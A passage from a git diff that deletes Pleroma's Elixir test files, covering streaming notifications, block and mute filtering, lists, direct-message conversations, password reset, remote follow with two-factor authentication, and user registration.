create_activity} = CommonAPI.post_chat_message(other_user, user, "hey") - - notify = - Repo.get_by(Pleroma.Notification, user_id: user.id, activity_id: create_activity.id) - |> Repo.preload(:activity) - - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - Streamer.stream("user:notification", notify) - - assert_receive {:render_with_user, _, _, ^notify} - refute Streamer.filtered_by_user?(user, notify) - end - - test "it doesn't send notify to the 'user:notification' stream when a user is blocked", %{ - user: user, - token: oauth_token - } do - blocked = insert(:user) - {:ok, _user_relationship} = User.block(user, blocked) - - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - - {:ok, activity} = CommonAPI.post(user, %{status: ":("}) - {:ok, _} = CommonAPI.favorite(blocked, activity.id) - - refute_receive _ - end - - test "it doesn't send notify to the 'user:notification' stream when a thread is muted", %{ - user: user, - token: oauth_token - } do - user2 = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - {:ok, _} = CommonAPI.add_mute(user, activity) - - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - - {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) - - refute_receive _ - assert Streamer.filtered_by_user?(user, favorite_activity) - end - - test "it sends favorite to 'user:notification' stream'", %{ - user: user, - token: oauth_token - } do - user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) - - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) - - assert_receive {:render_with_user, _, "notification.json", notif} - assert notif.activity.id == favorite_activity.id - refute Streamer.filtered_by_user?(user, notif) - end - - test "it doesn't send the 'user:notification' stream' when a domain is blocked", %{ - user: user, - token: oauth_token - } do - user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) - - {:ok, user} = User.block_domain(user, "hecking-lewd-place.com") - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) - - refute_receive _ - assert Streamer.filtered_by_user?(user, favorite_activity) - end - - test "it sends follow activities to the 'user:notification' stream", %{ - user: user, - token: oauth_token - } do - user_url = user.ap_id - user2 = insert(:user) - - body = - File.read!("test/fixtures/users_mock/localhost.json") - |> String.replace("{{nickname}}", user.nickname) - |> Jason.encode!() - - Tesla.Mock.mock_global(fn - %{method: :get, url: ^user_url} -> - %Tesla.Env{status: 200, body: body} - end) - - Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) - {:ok, _follower, _followed, follow_activity} = CommonAPI.follow(user2, user) - - assert_receive {:render_with_user, _, "notification.json", notif} - assert notif.activity.id == follow_activity.id - refute Streamer.filtered_by_user?(user, notif) - end - end - - describe "public streams" do - test "it sends to public (authenticated)" do - %{user: user, token: oauth_token} = oauth_access(["read"]) - other_user = insert(:user) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(other_user, activity) - end - - test "it sends to public (unauthenticated)" do - user = insert(:user) - - Streamer.get_topic_and_add_socket("public", nil, nil) - - {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) - activity_id = activity.id - assert_receive {:text, event} - assert %{"event" => "update", "payload" => payload} = Jason.decode!(event) - assert %{"id" => ^activity_id} = Jason.decode!(payload) - - {:ok, _} = CommonAPI.delete(activity.id, user) - assert_receive {:text, event} - assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) - end - - test "handles deletions" do - %{user: user, token: oauth_token} = oauth_access(["read"]) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - - {:ok, _} = CommonAPI.delete(activity.id, other_user) - activity_id = activity.id - assert_receive {:text, event} - assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) - end - end - - describe "thread_containment/2" do - test "it filters to user if recipients invalid and thread containment is enabled" do - Pleroma.Config.put([:instance, :skip_thread_containment], false) - author = insert(:user) - %{user: user, token: oauth_token} = oauth_access(["read"]) - User.follow(user, author, :follow_accept) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => ["TEST-FFF"]} - ) - ) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - Streamer.stream("public", activity) - assert_receive {:render_with_user, _, _, ^activity} - assert Streamer.filtered_by_user?(user, activity) - end - - test "it sends message if recipients invalid and thread containment is disabled" do - Pleroma.Config.put([:instance, :skip_thread_containment], true) - author = insert(:user) - %{user: user, token: oauth_token} = oauth_access(["read"]) - User.follow(user, author, :follow_accept) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => ["TEST-FFF"]} - ) - ) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - Streamer.stream("public", activity) - - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user, activity) - end - - test "it sends message if recipients invalid and thread containment is enabled but user's thread containment is disabled" do - Pleroma.Config.put([:instance, :skip_thread_containment], false) - author = insert(:user) - user = insert(:user, skip_thread_containment: true) - %{token: oauth_token} = oauth_access(["read"], user: user) - User.follow(user, author, :follow_accept) - - activity = - insert(:note_activity, - note: - insert(:note, - user: author, - data: %{"to" => ["TEST-FFF"]} - ) - ) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - Streamer.stream("public", activity) - - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user, activity) - end - end - - describe "blocks" do - setup do: oauth_access(["read"]) - - test "it filters messages involving blocked users", %{user: user, token: oauth_token} do - blocked_user = insert(:user) - {:ok, _user_relationship} = User.block(user, blocked_user) - - Streamer.get_topic_and_add_socket("public", user, oauth_token) - {:ok, activity} = CommonAPI.post(blocked_user, %{status: "Test"}) - assert_receive {:render_with_user, _, _, ^activity} - assert Streamer.filtered_by_user?(user, activity) - end - - test "it filters messages transitively involving blocked users", %{ - user: blocker, - token: blocker_token - } do - blockee = insert(:user) - friend = insert(:user) - - Streamer.get_topic_and_add_socket("public", blocker, blocker_token) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey! @#{blockee.nickname}"}) - - assert_receive {:render_with_user, _, _, ^activity_one} - assert Streamer.filtered_by_user?(blocker, activity_one) - - {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) - - assert_receive {:render_with_user, _, _, ^activity_two} - assert Streamer.filtered_by_user?(blocker, activity_two) - - {:ok, activity_three} = CommonAPI.post(blockee, %{status: "hey! @#{blocker.nickname}"}) - - assert_receive {:render_with_user, _, _, ^activity_three} - assert Streamer.filtered_by_user?(blocker, activity_three) - end - end - - describe "lists" do - setup do: oauth_access(["read"]) - - test "it doesn't send unwanted DMs to list", %{user: user_a, token: user_a_token} do - user_b = insert(:user) - user_c = insert(:user) - - {:ok, user_a} = User.follow(user_a, user_b) - - {:ok, list} = List.create("Test", user_a) - {:ok, list} = List.follow(list, user_b) - - Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) - - {:ok, _activity} = - CommonAPI.post(user_b, %{ - status: "@#{user_c.nickname} Test", - visibility: "direct" - }) - - refute_receive _ - end - - test "it doesn't send unwanted private posts to list", %{user: user_a, token: user_a_token} do - user_b = insert(:user) - - {:ok, list} = List.create("Test", user_a) - {:ok, list} = List.follow(list, user_b) - - Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) - - {:ok, _activity} = - CommonAPI.post(user_b, %{ - status: "Test", - visibility: "private" - }) - - refute_receive _ - end - - test "it sends wanted private posts to list", %{user: user_a, token: user_a_token} do - user_b = insert(:user) - - {:ok, user_a} = User.follow(user_a, user_b) - - {:ok, list} = List.create("Test", user_a) - {:ok, list} = List.follow(list, user_b) - - Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) - - {:ok, activity} = - CommonAPI.post(user_b, %{ - status: "Test", - visibility: "private" - }) - - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user_a, activity) - end - end - - describe "muted reblogs" do - setup do: oauth_access(["read"]) - - test "it filters muted reblogs", %{user: user1, token: user1_token} do - user2 = insert(:user) - user3 = insert(:user) - CommonAPI.follow(user1, user2) - CommonAPI.hide_reblogs(user1, user2) - - {:ok, create_activity} = CommonAPI.post(user3, %{status: "I'm kawen"}) - - Streamer.get_topic_and_add_socket("user", user1, user1_token) - {:ok, announce_activity} = CommonAPI.repeat(create_activity.id, user2) - assert_receive {:render_with_user, _, _, ^announce_activity} - assert Streamer.filtered_by_user?(user1, announce_activity) - end - - test "it filters reblog notification for reblog-muted actors", %{ - user: user1, - token: user1_token - } do - user2 = insert(:user) - CommonAPI.follow(user1, user2) - CommonAPI.hide_reblogs(user1, user2) - - {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1, user1_token) - {:ok, _announce_activity} = CommonAPI.repeat(create_activity.id, user2) - - assert_receive {:render_with_user, _, "notification.json", notif} - assert Streamer.filtered_by_user?(user1, notif) - end - - test "it send non-reblog notification for reblog-muted actors", %{ - user: user1, - token: user1_token - } do - user2 = insert(:user) - CommonAPI.follow(user1, user2) - CommonAPI.hide_reblogs(user1, user2) - - {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1, user1_token) - {:ok, _favorite_activity} = CommonAPI.favorite(user2, create_activity.id) - - assert_receive {:render_with_user, _, "notification.json", notif} - refute Streamer.filtered_by_user?(user1, notif) - end - end - - describe "muted threads" do - test "it filters posts from muted threads" do - user = insert(:user) - %{user: user2, token: user2_token} = oauth_access(["read"]) - Streamer.get_topic_and_add_socket("user", user2, user2_token) - - {:ok, user2, user, _activity} = CommonAPI.follow(user2, user) - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - {:ok, _} = CommonAPI.add_mute(user2, activity) - - assert_receive {:render_with_user, _, _, ^activity} - assert Streamer.filtered_by_user?(user2, activity) - end - end - - describe "direct streams" do - setup do: oauth_access(["read"]) - - test "it sends conversation update to the 'direct' stream", %{user: user, token: oauth_token} do - another_user = insert(:user) - - Streamer.get_topic_and_add_socket("direct", user, oauth_token) - - {:ok, _create_activity} = - CommonAPI.post(another_user, %{ - status: "hey @#{user.nickname}", - visibility: "direct" - }) - - assert_receive {:text, received_event} - - assert %{"event" => "conversation", "payload" => received_payload} = - Jason.decode!(received_event) - - assert %{"last_status" => last_status} = Jason.decode!(received_payload) - [participation] = Participation.for_user(user) - assert last_status["pleroma"]["direct_conversation_id"] == participation.id - end - - test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted", - %{user: user, token: oauth_token} do - another_user = insert(:user) - - Streamer.get_topic_and_add_socket("direct", user, oauth_token) - - {:ok, create_activity} = - CommonAPI.post(another_user, %{ - status: "hi @#{user.nickname}", - visibility: "direct" - }) - - create_activity_id = create_activity.id - assert_receive {:render_with_user, _, _, ^create_activity} - assert_receive {:text, received_conversation1} - assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) - - {:ok, _} = CommonAPI.delete(create_activity_id, another_user) - - assert_receive {:text, received_event} - - assert %{"event" => "delete", "payload" => ^create_activity_id} = - Jason.decode!(received_event) - - refute_receive _ - end - - test "it sends conversation update to the 'direct' stream when a message is deleted", %{ - user: user, - token: oauth_token - } do - another_user = insert(:user) - Streamer.get_topic_and_add_socket("direct", user, oauth_token) - - {:ok, create_activity} = - CommonAPI.post(another_user, %{ - status: "hi @#{user.nickname}", - visibility: "direct" - }) - - {:ok, create_activity2} = - CommonAPI.post(another_user, %{ - status: "hi @#{user.nickname} 2", - in_reply_to_status_id: create_activity.id, - visibility: "direct" - }) - - assert_receive {:render_with_user, _, _, ^create_activity} - assert_receive {:render_with_user, _, _, ^create_activity2} - assert_receive {:text, received_conversation1} - assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) - assert_receive {:text, received_conversation1} - assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) - - {:ok, _} = CommonAPI.delete(create_activity2.id, another_user) - - assert_receive {:text, received_event} - assert %{"event" => "delete", "payload" => _} = Jason.decode!(received_event) - - assert_receive {:text, received_event} - - assert %{"event" => "conversation", "payload" => received_payload} = - Jason.decode!(received_event) - - assert %{"last_status" => last_status} = Jason.decode!(received_payload) - assert last_status["id"] == to_string(create_activity.id) - end - end -end diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs deleted file mode 100644 index a5e9e2178..000000000 --- a/test/web/twitter_api/password_controller_test.exs +++ /dev/null @@ -1,81 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.PasswordResetToken - alias Pleroma.User - alias Pleroma.Web.OAuth.Token - import Pleroma.Factory - - describe "GET /api/pleroma/password_reset/token" do - test "it returns error when token invalid", %{conn: conn} do - response = - conn - |> get("/api/pleroma/password_reset/token") - |> html_response(:ok) - - assert response =~ "<h2>Invalid Token</h2>" - end - - test "it shows password reset form", %{conn: conn} do - user = insert(:user) - {:ok, token} = PasswordResetToken.create_token(user) - - response = - conn - |> get("/api/pleroma/password_reset/#{token.token}") - |> html_response(:ok) - - assert response =~ "<h2>Password Reset for #{user.nickname}</h2>" - end - end - - describe "POST /api/pleroma/password_reset" do - test "it returns HTTP 200", %{conn: conn} do - user = insert(:user) - {:ok, token} = PasswordResetToken.create_token(user) - {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) - - params = %{ - "password" => "test", - password_confirmation: "test", - token: token.token - } - - response = - conn - |> assign(:user, user) - |> post("/api/pleroma/password_reset", %{data: params}) - |> html_response(:ok) - - assert response =~ "<h2>Password changed!</h2>" - - user = refresh_record(user) - assert Pbkdf2.verify_pass("test", user.password_hash) - assert Enum.empty?(Token.get_user_tokens(user)) - end - - test "it sets password_reset_pending to false", %{conn: conn} do - user = insert(:user, password_reset_pending: true) - - {:ok, token} = PasswordResetToken.create_token(user) - {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) - - params = %{ - "password" => "test", - password_confirmation: "test", - token: token.token - } - - conn - |> assign(:user, user) - |> post("/api/pleroma/password_reset", %{data: params}) - |> html_response(:ok) - - assert User.get_by_id(user.id).password_reset_pending == false - end - end -end diff --git a/test/web/twitter_api/remote_follow_controller_test.exs b/test/web/twitter_api/remote_follow_controller_test.exs deleted file mode 100644 index 3852c7ce9..000000000 --- a/test/web/twitter_api/remote_follow_controller_test.exs +++ /dev/null @@ -1,350 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.RemoteFollowControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Pleroma.MFA - alias Pleroma.MFA.TOTP - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureLog - import Pleroma.Factory - import Ecto.Query - - setup do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup_all do: clear_config([:instance, :federating], true) - setup do: clear_config([:instance]) - setup do: clear_config([:frontend_configurations, :pleroma_fe]) - setup do: clear_config([:user, :deny_follow_blocked]) - - describe "GET /ostatus_subscribe - remote_follow/2" do - test "adds status to pleroma instance if the `acct` is a status", %{conn: conn} do - assert conn - |> get( - remote_follow_path(conn, :follow, %{ - acct: "https://mastodon.social/users/emelie/statuses/101849165031453009" - }) - ) - |> redirected_to() =~ "/notice/" - end - - test "show follow account page if the `acct` is a account link", %{conn: conn} do - response = - conn - |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"})) - |> html_response(200) - - assert response =~ "Log in to follow" - end - - test "show follow page if the `acct` is a account link", %{conn: conn} do - user = insert(:user) - - response = - conn - |> assign(:user, user) - |> get(remote_follow_path(conn, :follow, %{acct: "https://mastodon.social/users/emelie"})) - |> html_response(200) - - assert response =~ "Remote follow" - end - - test "show follow page with error when user cannot fecth by `acct` link", %{conn: conn} do - user = insert(:user) - - assert capture_log(fn -> - response = - conn - |> assign(:user, user) - |> get( - remote_follow_path(conn, :follow, %{ - acct: "https://mastodon.social/users/not_found" - }) - ) - |> html_response(200) - - assert response =~ "Error fetching user" - end) =~ "Object has been deleted" - end - end - - describe "POST /ostatus_subscribe - do_follow/2 with assigned user " do - test "required `follow | write:follows` scope", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - read_token = insert(:oauth_token, user: user, scopes: ["read"]) - - assert capture_log(fn -> - response = - conn - |> assign(:user, user) - |> assign(:token, read_token) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - |> response(200) - - assert response =~ "Error following account" - end) =~ "Insufficient permissions: follow | write:follows." - end - - test "follows user", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - conn = - conn - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"])) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - - assert redirected_to(conn) == "/users/#{user2.id}" - end - - test "returns error when user is deactivated", %{conn: conn} do - user = insert(:user, deactivated: true) - user2 = insert(:user) - - response = - conn - |> assign(:user, user) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - |> response(200) - - assert response =~ "Error following account" - end - - test "returns error when user is blocked", %{conn: conn} do - Pleroma.Config.put([:user, :deny_follow_blocked], true) - user = insert(:user) - user2 = insert(:user) - - {:ok, _user_block} = Pleroma.User.block(user2, user) - - response = - conn - |> assign(:user, user) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - |> response(200) - - assert response =~ "Error following account" - end - - test "returns error when followee not found", %{conn: conn} do - user = insert(:user) - - response = - conn - |> assign(:user, user) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => "jimm"}}) - |> response(200) - - assert response =~ "Error following account" - end - - test "returns success result when user already in followers", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - {:ok, _, _, _} = CommonAPI.follow(user, user2) - - conn = - conn - |> assign(:user, refresh_record(user)) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"])) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - - assert redirected_to(conn) == "/users/#{user2.id}" - end - end - - describe "POST /ostatus_subscribe - follow/2 with enabled Two-Factor Auth " do - test "render the MFA login form", %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - user2 = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} - }) - |> response(200) - - mfa_token = Pleroma.Repo.one(from(q in Pleroma.MFA.Token, where: q.user_id == ^user.id)) - - assert response =~ "Two-factor authentication" - assert response =~ "Authentication code" - assert response =~ mfa_token.token - refute user2.follower_address in User.following(user) - end - - test "returns error when password is incorrect", %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - user2 = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test1", "id" => user2.id} - }) - |> response(200) - - assert response =~ "Wrong username or password" - refute user2.follower_address in User.following(user) - end - - test "follows", %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - {:ok, %{token: token}} = MFA.Token.create(user) - - user2 = insert(:user) - otp_token = TOTP.generate_token(otp_secret) - - conn = - conn - |> post( - remote_follow_path(conn, :do_follow), - %{ - "mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id} - } - ) - - assert redirected_to(conn) == "/users/#{user2.id}" - assert user2.follower_address in User.following(user) - end - - test "returns error when auth code is incorrect", %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - {:ok, %{token: token}} = MFA.Token.create(user) - - user2 = insert(:user) - otp_token = TOTP.generate_token(TOTP.generate_secret()) - - response = - conn - |> post( - remote_follow_path(conn, :do_follow), - %{ - "mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id} - } - ) - |> response(200) - - assert response =~ "Wrong authentication code" - refute user2.follower_address in User.following(user) - end - end - - describe "POST /ostatus_subscribe - follow/2 without assigned user " do - test "follows", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - conn = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} - }) - - assert redirected_to(conn) == "/users/#{user2.id}" - assert user2.follower_address in User.following(user) - end - - test "returns error when followee not found", %{conn: conn} do - user = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test", "id" => "jimm"} - }) - |> response(200) - - assert response =~ "Error following account" - end - - test "returns error when login invalid", %{conn: conn} do - user = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => "jimm", "password" => "test", "id" => user.id} - }) - |> response(200) - - assert response =~ "Wrong username or password" - end - - test "returns error when password invalid", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "42", "id" => user2.id} - }) - |> response(200) - - assert response =~ "Wrong username or password" - end - - test "returns error when user is blocked", %{conn: conn} do - Pleroma.Config.put([:user, :deny_follow_blocked], true) - user = insert(:user) - user2 = insert(:user) - {:ok, _user_block} = Pleroma.User.block(user2, user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} - }) - |> response(200) - - assert response =~ "Error following account" - end - end -end diff --git a/test/web/twitter_api/twitter_api_controller_test.exs b/test/web/twitter_api/twitter_api_controller_test.exs deleted file mode 100644 index 464d0ea2e..000000000 --- a/test/web/twitter_api/twitter_api_controller_test.exs +++ /dev/null @@ -1,138 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.ControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Builders.ActivityBuilder - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.OAuth.Token - - import Pleroma.Factory - - describe "POST /api/qvitter/statuses/notifications/read" do - test "without valid credentials", %{conn: conn} do - conn = post(conn, "/api/qvitter/statuses/notifications/read", %{"latest_id" => 1_234_567}) - assert json_response(conn, 403) == %{"error" => "Invalid credentials."} - end - - test "with credentials, without any params" do - %{conn: conn} = oauth_access(["write:notifications"]) - - conn = post(conn, "/api/qvitter/statuses/notifications/read") - - assert json_response(conn, 400) == %{ - "error" => "You need to specify latest_id", - "request" => "/api/qvitter/statuses/notifications/read" - } - end - - test "with credentials, with params" do - %{user: current_user, conn: conn} = - oauth_access(["read:notifications", "write:notifications"]) - - other_user = insert(:user) - - {:ok, _activity} = - ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user}) - - response_conn = - conn - |> assign(:user, current_user) - |> get("/api/v1/notifications") - - [notification] = response = json_response(response_conn, 200) - - assert length(response) == 1 - - assert notification["pleroma"]["is_seen"] == false - - response_conn = - conn - |> assign(:user, current_user) - |> post("/api/qvitter/statuses/notifications/read", %{"latest_id" => notification["id"]}) - - [notification] = response = json_response(response_conn, 200) - - assert length(response) == 1 - - assert notification["pleroma"]["is_seen"] == true - end - end - - describe "GET /api/account/confirm_email/:id/:token" do - setup do - {:ok, user} = - insert(:user) - |> User.confirmation_changeset(need_confirmation: true) - |> Repo.update() - - assert user.confirmation_pending - - [user: user] - end - - test "it redirects to root url", %{conn: conn, user: user} do - conn = get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}") - - assert 302 == conn.status - end - - test "it confirms the user account", %{conn: conn, user: user} do - get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}") - - user = User.get_cached_by_id(user.id) - - refute user.confirmation_pending - refute user.confirmation_token - end - - test "it returns 500 if user cannot be found by id", %{conn: conn, user: user} do - conn = get(conn, "/api/account/confirm_email/0/#{user.confirmation_token}") - - assert 500 == conn.status - end - - test "it returns 500 if token is invalid", %{conn: conn, user: user} do - conn = get(conn, "/api/account/confirm_email/#{user.id}/wrong_token") - - assert 500 == conn.status - end - end - - describe "GET /api/oauth_tokens" do - setup do - token = insert(:oauth_token) |> Repo.preload(:user) - - %{token: token} - end - - test "renders list", %{token: token} do - response = - build_conn() - |> assign(:user, token.user) - |> get("/api/oauth_tokens") - - keys = - json_response(response, 200) - |> hd() - |> Map.keys() - - assert keys -- ["id", "app_name", "valid_until"] == [] - end - - test "revoke token", %{token: token} do - response = - build_conn() - |> assign(:user, token.user) - |> delete("/api/oauth_tokens/#{token.id}") - - tokens = Token.get_user_tokens(token.user) - - assert tokens == [] - assert response.status == 201 - end - end -end diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs deleted file mode 100644 index 20a45cb6f..000000000 --- a/test/web/twitter_api/twitter_api_test.exs +++ /dev/null @@ -1,432 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.UserInviteToken - alias Pleroma.Web.TwitterAPI.TwitterAPI - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "it registers a new user and returns the user." do - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :password => "bear", - :confirm => "bear" - } - - {:ok, user} = TwitterAPI.register_user(data) - - assert user == User.get_cached_by_nickname("lain") - end - - test "it registers a new user with empty string in bio and returns the user" do - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "", - :password => "bear", - :confirm => "bear" - } - - {:ok, user} = TwitterAPI.register_user(data) - - assert user == User.get_cached_by_nickname("lain") - end - - test "it sends confirmation email if :account_activation_required is specified in instance config" do - setting = Pleroma.Config.get([:instance, :account_activation_required]) - - unless setting do - Pleroma.Config.put([:instance, :account_activation_required], true) - on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end) - end - - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "", - :password => "bear", - :confirm => "bear" - } - - {:ok, user} = TwitterAPI.register_user(data) - ObanHelpers.perform_all() - - assert user.confirmation_pending - - email = Pleroma.Emails.UserEmail.account_confirmation_email(user) - - notify_email = Pleroma.Config.get([:instance, :notify_email]) - instance_name = Pleroma.Config.get([:instance, :name]) - - Swoosh.TestAssertions.assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - - test "it sends an admin email if :account_approval_required is specified in instance config" do - admin = insert(:user, is_admin: true) - setting = Pleroma.Config.get([:instance, :account_approval_required]) - - unless setting do - Pleroma.Config.put([:instance, :account_approval_required], true) - on_exit(fn -> Pleroma.Config.put([:instance, :account_approval_required], setting) end) - end - - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "", - :password => "bear", - :confirm => "bear", - :reason => "I love anime" - } - - {:ok, user} = TwitterAPI.register_user(data) - ObanHelpers.perform_all() - - assert user.approval_pending - - email = Pleroma.Emails.AdminEmail.new_unapproved_registration(admin, user) - - notify_email = Pleroma.Config.get([:instance, :notify_email]) - instance_name = Pleroma.Config.get([:instance, :name]) - - Swoosh.TestAssertions.assert_email_sent( - from: {instance_name, notify_email}, - to: {admin.name, admin.email}, - html_body: email.html_body - ) - end - - test "it registers a new user and parses mentions in the bio" do - data1 = %{ - :username => "john", - :email => "john@gmail.com", - :fullname => "John Doe", - :bio => "test", - :password => "bear", - :confirm => "bear" - } - - {:ok, user1} = TwitterAPI.register_user(data1) - - data2 = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "@john test", - :password => "bear", - :confirm => "bear" - } - - {:ok, user2} = TwitterAPI.register_user(data2) - - expected_text = - ~s(<span class="h-card"><a class="u-url mention" data-user="#{user1.id}" href="#{ - user1.ap_id - }" rel="ugc">@<span>john</span></a></span> test) - - assert user2.bio == expected_text - end - - describe "register with one time token" do - setup do: clear_config([:instance, :registrations_open], false) - - test "returns user on success" do - {:ok, invite} = 